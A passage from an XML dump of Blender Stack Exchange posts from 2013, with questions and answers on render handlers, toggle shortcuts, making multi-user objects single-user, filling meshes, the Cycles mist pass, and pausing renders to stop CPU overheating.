href=&quot;https://blender.stackexchange.com/users/97/jesterking&quot;&gt;jesterKing&lt;/a&gt;'s answer, I then chain the render execution using a scene-global property and render handlers with the following code. By chaining, the operator no longer needs to be modal. It's finishing early, then leaving completion to these handlers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@persistent&#xA;def render_pre_handler(dummy):&#xA;    props = bpy.context.scene.oha_layout_tools&#xA;&#xA;    if props.render_marker_infos:&#xA;        rmi = props.render_marker_infos.pop(0)&#xA;        marker_scene_settings(bpy.context, rmi)&#xA;&#xA;@persistent&#xA;def render_complete_handler(dummy):&#xA;    props = bpy.context.scene.oha_layout_tools&#xA;&#xA;    if props.render_marker_infos:&#xA;        rmi = props.render_marker_infos.pop(0)&#xA;        marker_scene_settings(bpy.context, rmi)&#xA;&#xA;        bpy.ops.render.render('INVOKE_DEFAULT', animation=True)&#xA;    else:&#xA;        bpy.app.handlers.render_pre.remove(render_pre_handler)&#xA;        bpy.app.handlers.render_complete.remove(render_complete_handler)&#xA;        props.marker_infos.clear()&#xA;        props.render_marker_infos.clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It still doesn't work. The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.app.handlers.html#bpy.app.handlers.render_complete&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;render_complete&lt;/code&gt;&lt;/a&gt; handler promptly executes even while the render thread itself is still in progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any thread-safe way to monitor render process, other than spawning new Blender process?&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-07-10T18:02:50.933" Title="How to monitor render process in a thread-safe manner?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1646" PostTypeId="1" AcceptedAnswerId="1651" CreationDate="2013-07-05T17:28:18.797" Score="4" ViewCount="1121" Body="&lt;p&gt;I know you can create and edit shortcuts in &lt;em&gt;User Preferences &gt; Input&lt;/em&gt;, but I can't figure out how to make a shortcut to toggle something on/off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I can right click on the Shade Smooth button on the Tool Shelf,&lt;br&gt;&#xA;(&lt;kbd&gt;N&lt;/kbd&gt; in the 3D view)&#xA;and select &quot;Create Shortcut&quot; but I only can get one shortcut to shade smooth or shade flat, not one or the other based on what the current shading setting is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is,&lt;br&gt;&#xA;is it possible to create a shortcut to toggle a setting?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-07-05T18:18:55.167" Title="Create Shortcuts to Toggle Actions?" Tags="&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1647" PostTypeId="5" CreationDate="2013-07-05T17:33:09.660" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-05T17:33:09.660" LastActivityDate="2013-07-05T17:33:09.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1648" PostTypeId="4" CreationDate="2013-07-05T17:33:09.660" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-05T17:33:09.660" LastActivityDate="2013-07-05T17:33:09.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1649" PostTypeId="2" ParentId="1646" CreationDate="2013-07-05T17:34:26.127" Score="2" Body="&lt;p&gt;To have a shortcut toggle something e.g. the flat/smooth shading, there would already have to be an operator that does that as a shortcut can only call an existing operator. So the answer is that any tool that already toggles something can have a shortcut set but anything that doesn't already toggle would have to be recoded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you could write your own addon which checks the the current shading type and inverts it and then assign a shortcut for your addon.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-07-05T17:34:26.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1650" PostTypeId="2" ParentId="1633" CreationDate="2013-07-05T17:50:28.893" Score="6" Body="&lt;p&gt;If you only work with planes or meshes in which all faces have 90° angles between them, following the local object's coordinates, yes (typically planes and cubes which were only rotated in object mode and on which you didn't apply the rotation). You have to apply scale first with Ctrl + A -&gt; &lt;em&gt;scale&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Unwrap in edit mode with U, select the cube projection mode. By default it will make the smallest image's side to be 2 Blender Units long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In Node Editor: Connect a &lt;em&gt;Texture Coordinate&lt;/em&gt; Node with UV output to a &lt;em&gt;Mapping&lt;/em&gt; node. Connect this &lt;em&gt;Mapping&lt;/em&gt; node output to the vector input of your &lt;em&gt;Image Texture&lt;/em&gt; Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Choose the appropriate &lt;em&gt;Scale&lt;/em&gt; values in the &lt;em&gt;Mapping&lt;/em&gt; node. &quot;&lt;em&gt;Scale factor&lt;/em&gt;&quot; = 2 / &quot;&lt;em&gt;image's smallest side in Real World distance&lt;/em&gt;&quot;. The 2 is because of the cube projection scaling the smallest side to 2 BU. If you know your image is 1m on x and on 4m on y (in the real world), then give 2/1= 2 for x an y scale in the &lt;em&gt;Mapping&lt;/em&gt; node&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqmCt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Other UV projection modes aren't predictable. If you want an always working solution, I think you will have to write it in OSL, but your render time will be 4-5 times slower.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2013-07-06T06:19:28.240" LastActivityDate="2013-07-06T06:19:28.240" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1651" PostTypeId="2" ParentId="1646" CreationDate="2013-07-05T18:18:55.167" Score="7" Body="&lt;p&gt;That really depends on how the value is stored internally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender already have operator for toggling Boolean values, like &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.wm.html#bpy.ops.wm.context_toggle&quot;&gt;&lt;code&gt;bpy.ops.wm.context_toggle&lt;/code&gt;&lt;/a&gt;. This operator alone is applicable to modify lots of properties, like active 3D view space's Only Render (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.SpaceView3D.html#bpy.types.SpaceView3D.show_only_render&quot;&gt;&lt;code&gt;space_data.show_only_render&lt;/code&gt;&lt;/a&gt;) or scene's Simplify (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.RenderSettings.html#bpy.types.RenderSettings.use_simplify&quot;&gt;&lt;code&gt;scene.render.use_simplify&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other settings may &lt;em&gt;look&lt;/em&gt; like binary values of some property, but in fact not. Face shading is actually only accessible as two operators: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.mesh.html#bpy.ops.mesh.faces_shade_flat&quot;&gt;&lt;code&gt;faces_shade_flat&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.mesh.html#bpy.ops.mesh.faces_shade_smooth&quot;&gt;&lt;code&gt;faces_shade_smooth&lt;/code&gt;&lt;/a&gt;. To toggle between both states, you'd have to &lt;strong&gt;write a new operator&lt;/strong&gt; that toggles which of the two operators to execute based on another property, like a custom &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.props.html#bpy.props.BoolProperty&quot;&gt;&lt;code&gt;BoolProperty&lt;/code&gt;&lt;/a&gt; inserted to a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.Mesh.html&quot;&gt;&lt;code&gt;Mesh&lt;/code&gt;&lt;/a&gt; object.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-07-05T18:18:55.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1652" PostTypeId="1" AcceptedAnswerId="168029" CreationDate="2013-07-05T19:05:24.810" Score="49" ViewCount="54103" Body="&lt;p&gt;I duplicated a few objects with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; and now I want to apply some modifiers to them, however I can't, because they are multi-user objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;&gt; Objects&lt;/em&gt; but I still can't apply the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make multi user objects single user?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2020-09-13T01:17:34.710" Title="How to Make Multi User Objects Single User?" Tags="&lt;objects&gt;&lt;linked-data&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="1653" PostTypeId="2" ParentId="1652" CreationDate="2013-07-05T19:19:22.157" Score="50" Body="&lt;p&gt;Press &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;Objects and Data&lt;/em&gt;. Then apply your modifier. Using just &lt;em&gt;Object&lt;/em&gt; will make the object a new, separate datablock for the mesh (but will ignore modifiers). However, using &lt;em&gt;Object and Data&lt;/em&gt; will make both the objects mesh and it's modifiers a new, separate datablock.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-07-06T12:02:15.813" LastActivityDate="2013-07-06T12:02:15.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1654" PostTypeId="2" ParentId="1652" CreationDate="2013-07-05T19:19:37.447" Score="26" Body="&lt;p&gt;Go into Data properties, and small number button next to the data name. This will create a single user copy of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you have to make only the data single-user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KIRSQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-07-05T19:19:37.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1656" PostTypeId="2" ParentId="1645" CreationDate="2013-07-05T20:02:47.243" Score="4" Body="&lt;p&gt;You can add handlers for render complete process: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67b_release/bpy.app.handlers.html#bpy.app.handlers.render_complete&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_67b_release/bpy.app.handlers.html#bpy.app.handlers.render_complete&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use that to flip a flag that you can check in your main code that can check when the current render is ready before starting a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check also render_post (and render_pre) for usage in your add-on.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-07-05T20:02:47.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1657" PostTypeId="5" CreationDate="2013-07-05T20:13:46.890" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-05T20:13:46.890" LastActivityDate="2013-07-05T20:13:46.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1658" PostTypeId="4" CreationDate="2013-07-05T20:13:46.890" Score="0" Body="Questions about linked data. There are many kinds of data that can be linked, (e.g, Materials, Object Data, Modifiers, etc.) even across multiple blendfiles." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-05T21:31:33.973" LastActivityDate="2013-07-05T21:31:33.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1659" PostTypeId="1" AcceptedAnswerId="1661" CreationDate="2013-07-06T00:47:58.637" Score="7" ViewCount="4117" Body="&lt;p&gt;I've got a ring of vertices. How can I add an edge from a newly added centre vertex, to every other vertex in the mesh (and then add faces between all of the new edges)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OiJtO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-07-16T21:58:43.303" Title="Turning a ring of vertices into a plane" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1660" PostTypeId="2" ParentId="1659" CreationDate="2013-07-06T00:54:37.570" Score="1" Body="&lt;p&gt;Method one:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Deleting the center vertex, &lt;kbd&gt;A&lt;/kbd&gt; select all, &#xA;&lt;kbd&gt;E&lt;/kbd&gt; extrude, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Z2yt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; &lt;em&gt;&gt; Merge at center&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8mXpY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extruding then scaling to zero would also work. (either with &lt;em&gt;Auto-Merge Editing&lt;/em&gt; enabled or &lt;em&gt;Remove Doubles&lt;/em&gt; afterwards)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Method two:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the &lt;em&gt;Fill&lt;/em&gt; tool.&lt;br&gt;&#xA;Select all and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KlDyd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is with the &lt;em&gt;Beauty&lt;/em&gt;  &lt;img src=&quot;https://i.stack.imgur.com/L09I3.png&quot; alt=&quot;enter image description here&quot;&gt;option &lt;strong&gt;off&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;Beauty&lt;/em&gt; &lt;strong&gt;on&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3dNF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-06T03:57:59.723" LastActivityDate="2013-07-06T03:57:59.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1661" PostTypeId="2" ParentId="1659" CreationDate="2013-07-06T01:39:44.147" Score="4" Body="&lt;p&gt;It is not easy to extrude a single vertex multiple times to fit several others manually as you described it in your question, even using automated methods&amp;hellip; &lt;a href=&quot;https://blender.stackexchange.com/a/1660/12&quot;&gt;gandalf3&lt;/a&gt;'s method is the best way to do it if you want it that way. However, based on your comment above, I think these ways might be better&amp;hellip; depending on how your mesh is set up.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;BMesh&lt;/a&gt;! Just hit &lt;kbd&gt;F&lt;/kbd&gt; and fill the thing, this will create an &lt;a href=&quot;http://www.gamefromscratch.com/post/2011/07/11/So-whats-an-ngon-anyways.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;ngon&lt;/a&gt;&lt;img src=&quot;https://i.stack.imgur.com/HxVK7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/1528/12&quot;&gt;Grid Fill&lt;/a&gt; &lt;em&gt;(introduced in 2.68)&lt;/em&gt;, if your mesh has the same number of vertices along two opposite edgeloops of a closed mesh and the same number on the other sides, you can use this to fill it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j64wJ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fO0rz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-07-06T03:26:13.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1662" PostTypeId="1" AcceptedAnswerId="1663" CreationDate="2013-07-06T02:12:06.307" Score="8" ViewCount="11455" Body="&lt;p&gt;How to make cycles mist work in 2.68?&lt;br&gt;&#xA;I turned on the render pass, then fiddled with the start and depth settings in &lt;em&gt;Properties &gt; World &gt; Mist Pass&lt;/em&gt;, but with no result.&lt;/p&gt;&#xA;" OwnerUserId="900" LastEditorUserId="12" LastEditDate="2013-07-06T04:01:26.910" LastActivityDate="2013-07-18T16:11:47.540" Title="How to use the new cycles mist pass in 2.68?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1663" PostTypeId="2" ParentId="1662" CreationDate="2013-07-06T02:28:26.723" Score="5" Body="&lt;p&gt;Not much &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Passes&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; yet, but it looks like you could use it in the compositor to get a mist/fading effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ukf2k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just straight, it returns a black and white map based on the settings in &lt;em&gt;Properties &gt; World  &gt; Mist&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BBMAq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-06T02:47:08.553" LastActivityDate="2013-07-06T02:47:08.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1664" PostTypeId="5" CreationDate="2013-07-06T03:55:57.993" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-06T03:55:57.993" LastActivityDate="2013-07-06T03:55:57.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1665" PostTypeId="4" CreationDate="2013-07-06T03:55:57.993" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-06T03:55:57.993" LastActivityDate="2013-07-06T03:55:57.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1666" PostTypeId="1" AcceptedAnswerId="1683" CreationDate="2013-07-06T04:16:55.967" Score="18" ViewCount="8564" Body="&lt;p&gt;Apparently my CPU or GPU overheats when Blender renders more than a few minutes.  The computer suddenly powers down, taking down all running apps, email I'm writing, etc.  This is almost never a problem with still scenes, which finish soon enough, but often with animation renders.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem occurs with either Cycles or BI renders.  I'm running on a custom-built quad core 64-bit linux desktop system.  (I'm not the one who built it. I am  a knuckle-dragging caveman with hardware issues.) (Yes, all the fans are blowing and dust has been cleaned off.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far the only way to prevent this for now is to choose in camera properties: Performance, Threads, Fixed, 1.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someday, I'll get better hardware, but in the meantime, I suspect Blender could run indefinitely, even with multiple threads, if I could make it pause for perhaps one minute between each frame when animating, just to cool down. How to make this happen?  At least, a way to run an arbitrary Python script between frames, or once per minute during any rendering. Such a script could contain a sleep stat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better, if Blender could throttle its rendering effort based on readings of the CPU temperature sensor.   Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I've nearly forgotten about this issue, since writing a quick Python script to watch the CPU temperature, sending SIGSTOP and SIGCONT as gandalf3 describes. Zero crashes ever since. I reboot my machine once or twice per year for kernel upgrades, otherwise it's 100% up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANOTHER UPDATE: I took the machine apart, popped off the CPU heatsink, and applied fresh thermal paste.  Ever since, the CPU temperature has been running something like 30deg (C) cooler all the time.  Zero shutdowns, and I don't use the Python script any more unless I'm feeling paranoid. &lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="606" LastEditDate="2017-06-08T17:42:24.873" LastActivityDate="2018-02-22T00:12:08.797" Title="How to stop Blender from making the CPU overheat?" Tags="&lt;rendering&gt;&lt;scripting&gt;&lt;linux&gt;" AnswerCount="8" CommentCount="7" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1667" PostTypeId="2" ParentId="1625" CreationDate="2013-07-06T04:36:25.327" Score="0" Body="&lt;p&gt;Try a higher level of png file (png 32 or higher). I believe that png 24 is not the best quality for Alpha. Check out this sight: &lt;a href=&quot;http://blog.deepbluesky.com/blog/-/the-difference-between-png24-and-png32_49/http://blog.deepbluesky.com/blog/-/the-difference-between-png24-and-png32_49/&quot; rel=&quot;nofollow&quot;&gt;http://blog.deepbluesky.com/blog/-/the-difference-between-png24-and-png32_49/http://blog.deepbluesky.com/blog/-/the-difference-between-png24-and-png32_49/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case (on a Mac), the png files don't appear to have a number attached. I tried 'Premultiplied' and 'Straight', and the 'Straight' definitely works better.&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="470" LastEditDate="2013-07-06T04:53:40.993" LastActivityDate="2013-07-06T04:53:40.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1668" PostTypeId="2" ParentId="1666" CreationDate="2013-07-06T04:52:20.417" Score="9" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit&lt;/strong&gt;, The original question was &lt;strong&gt;&quot;How to pause between rendering frames&quot;&lt;/strong&gt;, if my answer seems out of place.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, to sleep in-between rendering frames you can use a Python script to add a render_post handler, it will sleep in-between rendering frames of an animation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import time&#xA;def sleep(scene, seconds=2.0):&#xA;    print(&quot;Sleep start&quot;)&#xA;    time.sleep(seconds)&#xA;    print(&quot;Sleep stop&quot;)&#xA;&#xA;import bpy&#xA;bpy.app.handlers.render_post.append(sleep)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want this to always be enabled, copy it into &lt;code&gt;render_sleep.py&lt;/code&gt; and put it in blenders &lt;code&gt;scripts/startup/&lt;/code&gt; path.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I have serious doubts about this as being a GOOD solution to the problem you describe, a frame that takes a long time to render could overheat your system - so relying on sleeping between frames seems very precarious, on Linux there are tools to throttle process CPU use, check on &lt;code&gt;nice&lt;/code&gt; and &lt;code&gt;cpulimit&lt;/code&gt;&lt;/em&gt; (if under-clocking or better cooling isnt an option).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-08T10:06:04.797" LastActivityDate="2013-07-08T10:06:04.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1669" PostTypeId="1" AcceptedAnswerId="1702" CreationDate="2013-07-06T07:29:47.530" Score="4" ViewCount="2421" Body="&lt;p&gt;In Blender, paths may be used to animate objects or to sweep surfaces. Both of these actions require that every point on the path has a normal. If this requirement were not fulfilled, the orientation of the object following the path would be ambiguous and the operations could not be completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curves only have tangents and do not have intrinsic normals. Since normals are required, there must be an algorithm in Blender to generate them somehow. I only know of the following ways to generate normals for a curve:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the normal of the plane formed by the tangent and a fixed global axis. Fails when the curve runs parallel to this axis.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the normal of the average plane of the curve. Fails when the curve is a straight line.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a rail curve. This requires the user to define a second independent curve which never meets the first, and the normal is the line between the two curves.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Blender's path object does not fail when parallel to a global axis or when it's control vertices form a straight line. It also does not require a rail curve. How does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Requests/Incremental_curve_normals_proposal&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Requests/Incremental_curve_normals_proposal&lt;/a&gt; which present another possible solution, but it seems incomplete and may not reflect what Blender actually does at all. It does explain the problem in detail though.&lt;/p&gt;&#xA;" OwnerUserId="902" LastEditorUserId="902" LastEditDate="2013-07-07T08:31:30.887" LastActivityDate="2013-12-18T08:55:44.083" Title="How does Blender calculate path normals?" Tags="&lt;bezier-curves&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1670" PostTypeId="1" AcceptedAnswerId="1678" CreationDate="2013-07-06T07:59:21.310" Score="8" ViewCount="3064" Body="&lt;p&gt;I would like to texture my trees without converting them to a mesh. I use the &lt;em&gt;use UV for mapping&lt;/em&gt; option in the curve menu, but it is dependant on the distance between two &quot;path points&quot;. How can I get a nice mapping without such stretching/squeezing :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gG8tJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2013-07-06T14:58:25.540" Title="How to texture a beveled curve without stretching" Tags="&lt;texturing&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1671" PostTypeId="2" ParentId="1659" CreationDate="2013-07-06T11:39:52.583" Score="1" Body="&lt;p&gt;since you have dispensed with the limitation that there should be a central vertex connecting them all (this would be bad for more extreme concave polygon shapes anyway). Because you are writing a script anyway, example code (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_64_9/bmesh.ops.html#bmesh.ops.edgenet_fill&quot; rel=&quot;nofollow noreferrer&quot;&gt;bmesh.ops.edgenet_fill&lt;/a&gt;) ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;# Get the active mesh&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;# Get a BMesh representation&#xA;bm = bmesh.from_edit_mesh(me)&#xA;edges = [edge for edge in bm.edges if edge.select]&#xA;&#xA;bmesh.ops.edgenet_fill(bm, edges=edges)&#xA;&#xA;# recalculate n-gon tessellation and update viewport.&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/COOOF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-06T11:45:51.370" LastActivityDate="2013-07-06T11:45:51.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1672" PostTypeId="2" ParentId="1599" CreationDate="2013-07-06T11:43:57.687" Score="1" Body="&lt;p&gt;Clone and Project painting is working fine in Blender. Have some exploration of the Texturing tool slowly and you will eventually find this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are opening older Blend file, in the option box, uncheck the &quot;Load UI&quot; so that you will keep the newer Blender UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check tutorial like this one:&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=p4ngVoGIj1Q&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=p4ngVoGIj1Q&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="802" LastActivityDate="2013-07-06T11:43:57.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
